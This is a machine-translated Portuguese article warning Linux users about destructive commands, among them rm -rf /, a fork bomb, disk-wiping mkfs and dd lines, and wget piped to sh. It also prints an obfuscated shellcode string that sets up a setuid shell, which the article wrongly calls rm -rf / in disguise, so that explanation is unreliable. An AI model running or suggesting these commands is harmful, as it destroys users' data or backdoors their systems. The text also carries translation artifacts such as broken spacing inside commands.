8 comandos mortais que você nunca deve executar no Linux

Índice:

8 comandos mortais que você nunca deve executar no Linux
8 comandos mortais que você nunca deve executar no Linux

Vídeo: 8 comandos mortais que você nunca deve executar no Linux

Vídeo: 8 comandos mortais que você nunca deve executar no Linux
Vídeo: Como Sair do Gmail no Celular e Remover (Conta do Google) - YouTube 2024, Abril
Anonim
Os comandos de terminal do Linux são poderosos e o Linux não pedirá confirmação se você executar um comando que quebrará seu sistema. Não é incomum ver trolls on-line recomendando que novos usuários do Linux executem esses comandos como uma piada.
Os comandos de terminal do Linux são poderosos e o Linux não pedirá confirmação se você executar um comando que quebrará seu sistema. Não é incomum ver trolls on-line recomendando que novos usuários do Linux executem esses comandos como uma piada.

Aprender os comandos que você não deve executar pode ajudar a protegê-lo de trolls e ao mesmo tempo aumentar sua compreensão de como o Linux funciona. Este não é um guia exaustivo e os comandos aqui podem ser remixados de várias formas.

Observe que muitos desses comandos só serão perigosos se forem prefixados com sudo no Ubuntu - eles não funcionarão de outra forma. Em outras distribuições do Linux, a maioria dos comandos deve ser executada como root.

rm -rf / - Apaga tudo!

O comando rm -rf / exclui tudo o que for possível, incluindo arquivos no disco rígido e arquivos em dispositivos de mídia removíveis conectados. Este comando é mais compreensível se estiver desmembrado:

rm – Remove the following files.

- rf – Run rm recursively (delete all files and folders inside the specified folder) and force-remove all files without prompting you.

/ – Tells rm to start at the root directory, which contains all the files on your computer and all mounted media devices, including remote file shares and removable drives.

O Linux terá todo o prazer em obedecer a este comando e deletar tudo sem avisar, portanto tenha cuidado ao usá-lo! O comando rm também pode ser usado de outras maneiras perigosas - rm –rf ~ excluir todos os arquivos da sua pasta pessoal, enquanto rm -rf. * excluiria todos os seus arquivos de configuração.

A lição: Cuidado com rm -rf.

Rm disfarçado / rf /

Veja outro snippet de código em toda a web:

char esp _attribute_ ((section(“.text”))) /* e.s.p release */ = “xebx3ex5bx31xc0x50x54x5ax83xecx64x68” “xffxffxffxffx68xdfxd0xdfxd9x68x8dx99” “xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7” “x56x04xf7x56x08xf7x56x0cx83xc4x74x56” “x8dx73x08x56x53x54x59xb0x0bxcdx80x31” “xc0x40xebxf9xe8xbdxffxffxffx2fx62x69” “x6ex2fx73x68x00x2dx63x00” “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

Esta é a versão hexada de rm –rf / a execução desse comando eliminaria seus arquivos como se você tivesse executado rm –rf /.

A lição: Não execute comandos aparentemente disfarçados de aparência estranha que você não entende.

: () {: |: &};: - Garfo Bomba

A seguinte linha é uma função bash simples, mas perigosa:

:(){:|: &};:

Essa linha curta define uma função de shell que cria novas cópias de si mesmo. O processo se replica continuamente, e suas cópias se replicam continuamente, ocupando rapidamente todo o tempo e a memória da CPU. Isso pode causar o congelamento do computador. É basicamente um ataque de negação de serviço.

A lição: As funções de bash são poderosas, mesmo as muito curtas.

Image
Image

mkfs.ext4 / dev / sda1 - Formata um disco rígido

o mkfs.ext4 / dev / sda1comando é simples de entender:

mkfs.ext4 – Create a new ext4 file system on the following device.

/dev/sda1 – Specifies the first partition on the first hard drive, which is probably in use.

Juntos, esse comando pode ser equivalente a executar o formato c: no Windows - ele limpará os arquivos da sua primeira partição e os substituirá por um novo sistema de arquivos.

Este comando pode vir em outras formas também - mkfs.ext3 / dev / sdb2 formaria a segunda partição no segundo disco rígido com o sistema de arquivos ext3.

A lição: Cuidado com os comandos em execução diretamente em dispositivos de disco rígido que começam com / dev / sd.

comando> / dev / sda - Escreve diretamente em um disco rígido

o comando> / dev / sda A linha funciona de maneira semelhante - ele executa um comando e envia a saída desse comando diretamente para o primeiro disco rígido, gravando os dados diretamente na unidade de disco rígido e danificando o sistema de arquivos.

command – Run a command (can be any command.)

> – Send the output of the command to the following location.

/dev/sda – Write the output of the command directly to the hard disk device.

A lição: Como acima, tenha cuidado ao executar comandos que envolvem dispositivos de disco rígido que começam com / dev / sd.

dd if = / dev / random de = / dev / sda - Escreve lixo em um disco rígido

o dd if = / dev / random de = / dev / sda linha também irá obliterar os dados em um dos seus discos rígidos.

dd – Perform low-level copying from one location to another.

if=/dev/random – Use /dev/random (random data) as the input – you may also see locations such as /dev/zero (zeros).

of=/dev/sda – Output to the first hard disk, replacing its file system with random garbage data.

A lição: dd copia dados de um local para outro, o que pode ser perigoso se você estiver copiando diretamente para um dispositivo.

Image
Image

mv ~ / dev / null - Move seu diretório pessoal para um buraco negro

/ dev / null é outro local especial - mover algo para / dev / null é a mesma coisa que destruí-lo. Pense em / dev / null como um buraco negro. Essencialmente, mv ~ / dev / null envia todos os seus arquivos pessoais para um buraco negro.

mv – Move the following file or directory to another location.

~ – Represents your entire home folder.

/dev/null – Move your home folder to /dev/null, destroying all your files and deleting the original copies.

A lição: O caracter ~ ~ representa a sua pasta home e mover coisas para / dev / null as destrói.

wget https://example.com/something -O - | sh - transfere e executa um script

A linha acima faz o download de um script da web e o envia para sh, que executa o conteúdo do script. Isso pode ser perigoso se você não tiver certeza do que é o script ou se não confiar em sua origem. Não execute scripts não confiáveis.

wget – Downloads a file. (You may also see curl in place of wget.)

https://example.com/something – Download the file from this location.

| – Pipe (send) the output of the wget command (the file you downloaded) directly to another command.

sh – Send the file to the sh command, which executes it if it’s a bash script.

A lição: Não faça o download e execute scripts não confiáveis da Web, mesmo com um comando.

Conhece outros comandos perigosos que novos (e experientes) usuários de Linux não deveriam executar? Deixe um comentário e compartilhe-os!

Recomendado: